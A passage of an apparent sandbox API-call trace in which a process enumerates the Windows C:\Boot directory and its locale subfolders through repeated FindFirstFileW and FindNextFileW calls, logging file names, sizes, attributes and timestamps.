out: hFindFile=0x493080) returned 1 [0073.721] GetProcessHeap () returned 0x470000 [0073.721] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x470000) returned 1 [0073.721] FindNextFileW (in: hFindFile=0x493040, lpFindFileData=0x2d2f5a8 | out: lpFindFileData=0x2d2f5a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0073.721] GetProcessHeap () returned 0x470000 [0073.721] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x517ba0 [0073.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x493080 [0073.722] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.722] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0073.722] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x9098e7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0073.722] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0073.722] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0073.722] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0073.722] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0073.722] GetProcessHeap () returned 0x470000 [0073.722] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.723] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.723] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.723] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.723] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.723] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.723] GetProcessHeap () returned 0x470000 [0073.723] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0073.723] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0073.724] GetProcessHeap () returned 0x470000 [0073.724] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.724] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.724] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.724] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.724] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.724] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.724] GetProcessHeap () returned 0x470000 [0073.724] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0073.724] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0073.724] GetProcessHeap () returned 0x470000 [0073.724] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.751] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.751] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.751] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.751] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.751] GetProcessHeap () returned 0x470000 [0073.751] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0073.751] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0073.751] GetProcessHeap () returned 0x470000 [0073.751] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.751] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.751] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.751] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.751] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.752] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.752] GetProcessHeap () returned 0x470000 [0073.752] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0073.752] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0073.752] GetProcessHeap () returned 0x470000 [0073.752] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.752] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.752] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.752] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0073.752] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0073.752] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.752] GetProcessHeap () returned 0x470000 [0073.752] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0073.753] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0073.753] GetProcessHeap () returned 0x470000 [0073.753] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.753] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.753] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.753] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.753] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.753] GetProcessHeap () returned 0x470000 [0073.753] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0073.753] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0073.753] GetProcessHeap () returned 0x470000 [0073.753] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.753] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) 